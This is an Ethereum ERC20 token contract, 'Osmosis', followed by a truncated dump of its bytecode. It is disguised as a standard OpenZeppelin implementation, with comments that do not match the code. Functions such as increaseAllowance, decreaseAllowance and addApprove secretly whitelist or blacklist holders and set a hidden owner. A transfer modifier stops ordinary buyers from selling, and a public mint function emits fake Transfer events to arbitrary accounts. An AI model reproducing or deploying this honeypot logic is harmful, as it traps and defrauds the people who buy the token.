the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract Osmosis is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb1461061f578063b2bdfa7b14610683578063dd62ed3e146106b7578063e12681151461072f576100f5565b806352b0f196146103aa57806370a082311461050057806380b2122e1461055857806395d89b411461059c576100f5565b806318160ddd116100d357806318160ddd1461029957806323b872dd146102b7578063313ce5671461033b5780634e6ec2471461035c576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506107e7565b005b6101ba61099d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a3f565b60405180821515815260200191505060405180910390f35b6102a1610a5d565b6040518082815260200191505060405180910390f35b610323600480360360608110156102cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a67565b60405180821515815260200191505060405180910390f35b610343610b40565b604051808260ff16815260200191505060405180910390f35b6103a86004803603604081101561037257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b57565b005b6104fe600480360360608110156103c057600080fd5b8101908080359060200190929190803590602001906401000000008111156103e757600080fd5b8201836020820111156103f957600080fd5b8035906020019184602083028401116401000000008311171561041b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561047b57600080fd5b82018360208201111561048d57600080fd5b803590602001918460208302840111640100000000831117156104af57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d76565b005b6105426004803603602081101561051657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f5c565b6040518082815260200191505060405180910390f35b61059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fa4565b005b6105a46110ab565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105e45780820151818401526020810190506105c9565b50505050905090810190601f1680156106115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61066b6004803603604081101561063557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061114d565b60405180821515815260200191505060405180910390f35b61068b61116b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610719600480360360408110156106cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611191565b6040518082815260200191505060405180910390f35b6107e56004803603602081101561074557600080fd5b810190808035906020019064010000000081111561076257600080fd5b82018360208201111561077457600080fd5b8035906020019184602083028401116401000000008311171561079657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611218565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8151811015610999576001600260008484815181106108c857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061093357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108ad565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a355780601f10610a0a57610100808354040283529160200191610a35565b820191906000526020600020905b815481529060010190602001808311610a1857829003601f168201915b5050505050905090565b6000610a53610a4c611455565b848461145d565b6001905092915050565b6000600554905090565b6000610a74848484611654565b610b3584610a80611455565b610b3085604051806060016040528060288152602001612e8260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ae6611455565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d519092919063ffffffff16565b61145d565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c2f816005546113cd90919063ffffffff16565b600581905550610ca881600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113cd90919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8251811015610f5657610e75838281518110610e5457fe5b6020026020010151838381518110610e6857fe5b602002602001015161114d565b5083811015610f49576001806000858481518110610e8f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610f48838281518110610ef757fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61145d565b5b8080600101915050610e3c565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611067576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111435780601f1061111857610100808354040283529160200191611143565b820191906000526020600020905b81548152906001019060200180831161112657829003601f168201915b5050505050905090565b600061116161115a611455565b8484611654565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b81518110156113c95760018060008484815181106112f857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061136357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506112de565b5050565b60008082840190508381101561144b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612ecf6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611569576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e3a6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156117235750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611a2a5781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612eaa6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611875576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e176023913960400191505060405180910390fd5b611880868686612e11565b6118eb84604051806060016040528060268152602001612e5c602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d519092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061197e846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113cd90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d49565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611ad35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611b2b5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611e8657600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611bb857508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611bc557806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611c4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612eaa6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611cd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e176023913960400191505060405180910390fd5b611cdc868686612e11565b611d4784604051806060016040528060268152602001612e5c602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d519092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dda846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113cd90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d48565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156121a057600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612eaa6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611feb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e176023913960400191505060405180910390fd5b611ff6868686612e11565b61206184604051806060016040528060268152602001612e5c602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d519092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120f4846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113cd90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d47565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156125b857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122a25750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6122f7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e5c6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561237d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612eaa6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612403576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e176023913960400191505060405180910390fd5b61240e868686612e11565b61247984604051806060016040528060268152602001612e5c602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d519092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061250c846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113cd90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d46565b60035481101561298a57600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126c9576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561274f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612eaa6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156127d5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e176023913960400191505060405180910390fd5b6127e0868686612e11565b61284b84604051806060016040528060268152602001612e5c602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d519092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128de846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113cd90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d45565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480612a335750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612a88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e5c6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612b0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612eaa6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612b94576040517f08c379a00000000